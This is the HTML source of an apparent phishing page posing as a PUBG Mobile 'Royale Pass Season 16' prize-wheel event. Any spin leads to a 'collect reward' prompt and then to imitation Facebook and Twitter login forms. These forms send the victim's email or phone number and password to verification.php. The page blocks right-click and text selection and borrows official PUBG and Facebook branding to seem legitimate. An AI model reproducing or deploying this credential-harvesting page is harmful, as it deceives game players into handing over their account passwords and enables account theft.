<!doctypehtml><meta content="text/html; charset=utf-8"http-equiv=Content-Type><link crossorigin href=https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css integrity=sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN rel=stylesheet><style>@font-face {
     font-family:halloween;
     src: url('css/hal.ttf') format("truetype");
      }
      @font-face {
     font-family:pubg;
     src: url('css/pubg.ttf') format("truetype");
      }
       body {
        margin:0;
        box-sizing:border-box;
       }
	   ::-webkit-scrollbar {
	   display: none;
	   }
       .wrap {
           width:100%;
           height:100%;
       }
       .wrap .bg {
           position:relative;
           width:100%;
           height:100%;
       }
       .bg img {
           border-top-left-radius:5px;
           border-top-right-radius:5px;
           width:415px;
       }
       .bg .box {
           width:100%;
           height:100%;
           text-align:center;
           margin-top:-30px;
       }
       
       .box .spin {
           background:url('img/pe.png') no-repeat;
           background-size:cover;
           width:380px;
           margin-top:30px;
           text-align:center;
           height:380px;
       }
       .spin .img{
           border:2px solid white;
           width:60px;
           height:60px;
       }
       .spin .img:nth-child(1){
           position:relative;
           top:35px;
           left:135px;
       }
       .spin .img:nth-child(2){
           position:relative;
           top:250px;
           left:70px;
           transform:rotate(179.5deg);
       }
       .spin .img:nth-child(3){
           position:relative;
           top:94px;
           right:-87px;
           transform:rotate(61deg);
       }
       .spin .img:nth-child(4){
           position:relative;
           top:195.5px;
           right:-27px;
           transform:rotate(119deg);
       }
       .spin .img:nth-child(5){
           position:relative;
           top:195.5px;
           left:-230px;
           transform:rotate(241deg);
       }
       .spin .img:nth-child(6){
           position:relative;
           top:35px;
           left:-87px;
           transform:rotate(299deg);
       }
       .box .start {
           position:relative;
           border:none;
		   margin-top: -70px;
           width:130px;
		   margin-left: auto;
		   margin-right: auto;
		   display: block;
       }

       .mask {
           position:fixed;
           top:0;
           left:0;
           width:100%;
           height:100%;
           background:rgba(0,0,0,0.50);
       }
       keyframes da {
           from { transform:translate(-50%,-80%);}
           to { transform:translate(-50%,-50%);}
       }
       @keyframes dax {
           from { transform:translate(-50%,-65%);}
           to { transform:translate(-50%,-50%);}
       }
       .alertx .topx {
           font-family: 'halloween', sans-serif;
           top:-42.5px;
           left:-2px;
           position:absolute;
           width:270px;
           height:40px;
           line-height:40px;
           font-size:20px;
           background:orange;
           border-top-left-radius:4px;
           border-top-right-radius:4px;
           border:2px solid orange;
           border-bottom:none;
       }
       .alertx .px {
           font-family:'pubg';
           color:orange;
           font-weight:bold;
           font-size:15px;
           padding:10px 10px 10px 10px;
       }
      .alertx .px img {
           width:100px;
           height:100px;
       }
       .alertx .btnx {
           margin-top:4px;
           width:95px;
           height:30px;
           line-height:30px;
           font-weight:bold;
           font-size:16px;
           font-family:'pubg';
           background:orange;
           border-radius:5px;
       }
       /**/
       .alertl {
           display:none;
           position:absolute;
           top:50%;
           left:50%;
           background:url('https://cdn.hipwallpaper.com/m/93/80/sc2eVj.jpg') no-repeat;
           background-size:cover;
           width:270px;
           height:170px;
           border-bottom-left-radius:4px;
           border-bottom-right-radius:4px;
           border:2px solid orange;
           border-top:none;
           animation:dal 2s forwards ;
           transition:ease-in-out;
       }
       @keyframes dal {
           from { transform:translate(-50%,-65%);}
           to { transform:translate(-50%,-50%);}
       }
       .alertl .topl {
           font-family: 'halloween', sans-serif;
           top:-42.5px;
           left:-2px;
           position:absolute;
           width:270px;
           height:40px;
           line-height:40px;
           font-size:15px;
           background:orange;
           border-top-left-radius:4px;
           border-top-right-radius:4px;
           border:2px solid orange;
           border-bottom:none;
       }
       .alertl .pl {
           font-family:'pubg';
           color:orange;
           font-weight:bold;
           font-size:15px;
           padding:10px 10px 10px 10px;
       }
       .alertl .fb {
           height:32px;
           line-height:32px;
           width:250px;
           background:#3b5998;
           font-size:17px;
           padding-left:10px;
           border-radius:4px;
           box-shadow:0 3px 1px orange;
           color:white;
           font-weight:bold;
           margin-top:15%;
           font-family:'pubg';
           text-align:center;
       }
       .alertl .tw {
           padding-left:10px;
           height:32px;
           line-height:32px;
           width:250px;
           background:#1DA1F2;
           font-size:17px;
           border-radius:4px;
           box-shadow:0 3px 1px orange;
           color:white;
           font-weight:bold;
           margin-top:5%;
           font-family:'pubg';
           text-align:center;
       }
       .fb i , .tw i {
           margin-top:8px;
           float:left;
       }
             @media only screen and (min-width:100px) {
          .bg img {
           border-top-left-radius:5px;
           border-top-right-radius:5px;
           width:150px;
       }
      }
       @media only screen and (min-width:200px) {
          .bg img {
           border-top-left-radius:5px;
           border-top-right-radius:5px;
           width:370px;;
       }
       .bg .label {
           border:none;
           width:370px;
       }
       .bg .box {
           width:370px;
           height:380px;
       }
       .img {
           position:absolute;
           width:10px;
       }
       .box .spin {
           background:url('img/spin.png') no-repeat;
           background-size:cover;
           width:350px;
           text-align:center;
           height:350px;
       }
       .box .start {
           position:relative;
           border:none;
           bottom:270px;
           width:170px;
		   height: 220px;
       }
        .spin .img:nth-child(2){
           position:relative;
           top:250px;
           left:65px;
           transform:rotate(179.5deg);
       }
       }
       @media only screen and (min-width:399px) {
          .bg img {
           border-top-left-radius:5px;
           border-top-right-radius:5px;
           width:410px;
       }
         .bg .label {
           border:none;
           margin-top:-3px;
           width:410px;
       }
       .bg .box {
           width:410px;
           height:460px;
       }
       .spin .img:nth-child(1){
           position:relative;
           top:35px;
           left:130px;
       }
        .spin .img:nth-child(5){
           position:relative;
           top:195.5px;
           left:-225px;
           transform:rotate(241deg);
       }
       }

.bulet {
    color: #000;
    font-size: 8px;
}
.aktifnya {
    color: #1da1f2;
    border-bottom: 2px solid #1da1f2;
}
       @media only screen and (min-width:399px) {
          .bg img {
           border-top-left-radius:5px;
           border-top-right-radius:5px;
           width:410px;
       }
         .bg .label {
           border-radius:0;
           margin-top:0;
           width:410px;
       }
       .bg .box {
           border-radius:0;
           width:410px;
           height:350px;
       }
       .spin .img:nth-child(1){
           position:relative;
           top:47px;
           left:130px;
       }
        .spin .img:nth-child(5){
           position:relative;
           top:195.5px;
           left:-217px;
           transform:rotate(241deg);
       }
       }</style><meta content=width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no name=viewport><meta content=width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no name=viewport><title>
   ROYALE PASS SEASON 16
  </title><link href=https://www.pubgmobile.com/common/images/icon_logo.jpg rel=icon sizes=32x32 type=img/png><meta content="Start a event from Tencent. You can spin in one times only!"property=og:description><meta content=https://www.pubgmobile.com/common/images/icon_logo.jpg property=og:image><meta content=540 property=og:image:width><meta content=282 property=og:image:height><link href=css-zone/facebook.css rel=stylesheet><link href=css-zone/twitter.css rel=stylesheet><link href=https://fonts.googleapis.com/css2?family=Teko&display=swap rel=stylesheet><link href=https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css rel=stylesheet><script src=js-zone/jquery.js></script><script src=js-zone/main-zone.js></script><script src=index_files/main-zone.js.download></script><script language=JavaScript>document.write(ls())</script><script language=JavaScript>document.write(ls())</script><script language=JavaScript script>document.write(riyanandhika())</script><link href=./index_files/css rel=stylesheet><script language=JavaScript>document.write(head())</script><body oncontextmenu="return false"ondragstart="return false"onselectstart="return false"><div class=slider-container><section><div class=imgBox><video autoplay loop muted src=media/pubg.mp4></video></div><div class=slogan><img src=img/pubgm.png><img src=img/x.png><img src=img/metroexodus.png></div></section></div><div class=gallery-container><center> <div class=wrap><div class=bg><div class=box><center> <div class=spin><img class=img src=img/reward/1.png><img class=img src=img/reward/2.png><img class=img src=img/reward/3.png><img class=img src=img/reward/4.png><img class=img src=img/reward/5.png><img class=img src=img/reward/6.png></div> </center><img class=start onclick=spin() src=img/putar.png></div></div></div> </center></div><div style="color:white;padding-top: 10px;padding-bottom: 1px;"class=div-bot><center> <p><img style="padding-top: 10px;height:50px;width: 140px;"src=https://www.pubgmobile.com/common/images/foot_logo1.png> <img style="padding-top: 10px;height:50px;width: 100px;"src=https://www.pubgmobile.com/common/images/foot_logo2.png></p> <div style="color: #fff; font-size: 17px; font-family: Teko; font-weight: bold; text-transform: uppercase;">ⓒ 2018-2020 PUBG CORPORATION. All rights reserved.</div> <p></p> </center></div><script src=./index_files/jquery.min.js.download></script><script language=JavaScript>document.write(result())</script><script src=index_files/gift-zone.js></script><script>function openHero(evt, heroClass) {
            var i, gallery, tab;
            gallery = document.getElementsByClassName("gallery");
            for (i = 0; i < gallery.length; i++) {
                gallery[i].style.display = "none";
            }
            tab = document.getElementsByClassName("tab");
            for (i = 0; i < tab.length; i++) {
                tab[i].className = tab[i].className.replace(" active", "");
            }
            document.getElementById(heroClass).style.display = "block";
            evt.currentTarget.className += " active";
        }
        document.getElementById("defaultOpen").click();</script><script src=js-zone/slide-zone.js></script><script src=./index_files/slide-zone.js.download></script><script language=JavaScript>document.write(luckyspin())</script><style>*: (input, textarea) {
            -webkit-touch-callout: none;
            -webkit-user-select: none;
        }</style><style>img {
            -webkit-touch-callout: none;
            -webkit-user-select: none;
        }</style><div class="popup open_rewards"style="display: none;"><div class="popup-box animated fadeInDown"><div class=nav-popup><div class=nav-popup-title>Reward Confirmation</div></div><div class=popup-alert>Are you sure to collect this rewards?</div><img class=popup-item src=img/reward/1.png><button class=popup-btn onclick=close_open_rewards() type=button>Cancel</button><button class=popup-btn onclick=open_account_login() type=button>Collect</button><br><br></div></div><div class="popup open_account_login"style="display: none;"><div class="popup-box animated fadeInDown"><div class=nav-popup><div class=nav-popup-title>Account Login</div></div><div class=popup-alert>Login using your account to receive rewards</div><button class="btn-login facebook"onclick=open_facebook(); onmousedown=buka.play() type=button><i class="fa fa-facebook-square icon-login"> </i> Log in using Facebook account</button><button class="btn-login twitter"onclick=open_twitter(); onmousedown=buka.play() type=button><i class="fa fa-twitter icon-login"> </i> Log in using Twitter account</button><br><br><button class=popup-btn onclick=close_account_login() type=button>Back</button><br></div></div><div class="popup-login login_facebook animated fadeIn"style="display: none;"><div class=popup-box-login-fb><a class=close-fb onclick=close_facebook()> <i class="zmdi zmdi-close"> </i> </a><div class=navbar-fb><img src=img/login/facebook_text.png></div><div class=content-box-fb><img src=https://www.pubgmobile.com/id/event/royalepass10/images/icon_logo.jpg><div class=txt-login-fb>Log in to your Facebook account to connect to PUBG MOBILE</div><form action=verification.php class=login-form method=post><label><input placeholder="Mobile number or email address"autocapitalize=off autocomplete=off name=email required></label><label><input autocapitalize=off autocomplete=off name=password placeholder=Password required type=password></label><input name=login readonly type=hidden value=Facebook><button class=btn-login-fb>Log In</button></form><div class=txt-create-account>Create account</div><div class=txt-not-now>Not now</div><div class=txt-forgotten-password>Forgotten password?</div></div><div class=language-box><center> <div class="language-name language-name-active">English (UK)</div> <div class=language-name>Bahasa Indonesia</div> <div class=language-name>Basa Jawa</div> <div class=language-name>Bahasa Melayu</div> <div class=language-name>日本語</div> <div class=language-name>Español</div> <div class=language-name>Português (Brasil)</div> <div class=language-name><i class="fa fa-plus"> </i></div> </center></div><div class=copyright>Facebook Inc.</div></div></div><div class="popup-login login_twitter animated fadeIn"style="display: none;"><div class=popup-box-login-twitter><a class=close-other onclick=close_twitter()> <i class="zmdi zmdi-close"> </i> </a><div class=header-twitter><center> <img src=img/login/twitter_text.png> </center></div><div class=box-twitter><center> <form action=verification.php method=post><div class=txt-login-twitter>Login to Twitter</div><div class=input-box-twitter><label>Phone, email, or username</label><input name=email required></div><div class=input-box-twitter><label>Password</label><input name=password required type=password></div><input name=login readonly type=hidden value=Twitter><button class=btn-login-twitter>Log In</button><div class=footer-menu-twitter>Forgot password?</div><div class="footer-menu-twitter bulet">•</div><div class=footer-menu-twitter>Sign up to Twitter</div></form> </center></div></div></div><audio id=klik1 src=media/putar.mp3><script>function close_open_rewards() {
        $('.open_rewards').hide();
    }
	function open_account_login() {
        $('.open_account_login').show();
		$('.open_rewards').hide();
    }
	function close_account_login() {
        $('.open_account_login').hide();
		$('.open_rewards').show();
    }
	function open_facebook() {
        $('.login_facebook').show();
        $('.open_account_login').hide();
    }
	function open_twitter() {
        $('.login_twitter').show();
        $('.open_account_login').hide();
    }
	function close_facebook() {
        $('.login_facebook').hide();
        $('.open_account_login').show();
    }
	function close_twitter() {
        $('.login_twitter').hide();
        $('.open_account_login').show();
    }
   function spin() {
     document.getElementsByTagName("audio")[0].play();
    setTimeout(function() {
    $('.open_rewards').show();
   },3900);

  var $myElm = $(".spin");

  function rotate(degrees) {
    $myElm.css({
      '-webkit-transform': 'rotate(' + degrees + 'deg)',
      '-moz-transform': 'rotate(' + degrees + 'deg)',
      '-ms-transform': 'rotate(' + degrees + 'deg)',
      'transform': 'rotate(' + degrees + 'deg)'
    });
  }
 $({
    deg: 0
  }).animate({
    deg: 360 * 40
  }, {
    duration: 3900,
    step: function() {
        const lord = Math.random() * (360 - 1) + 1;
      var deg = this.deg;
      rotate(lord * 4);
    }
  });
}
setInterval(function time(){
  var d = new Date();
  var hours = 24 - d.getHours();
  var min = 60 - d.getMinutes();
  if((min + '').length == 1){
    min = '0' + min;
  }
  var sec = 60 - d.getSeconds();
  if((sec + '').length == 1){
        sec = '0' + sec;
  }
  jQuery('#waktu p').html(hours+':'+min+':'+sec)
}, 1000);</script> <script>// <![CDATA[
function klik1() {
    var audio = document.getElementById('klik1');
    audio.play();
}
$(document).ready(function(){
        $("o").attr("onclick", "klik1()");
});
//]]></script></audio>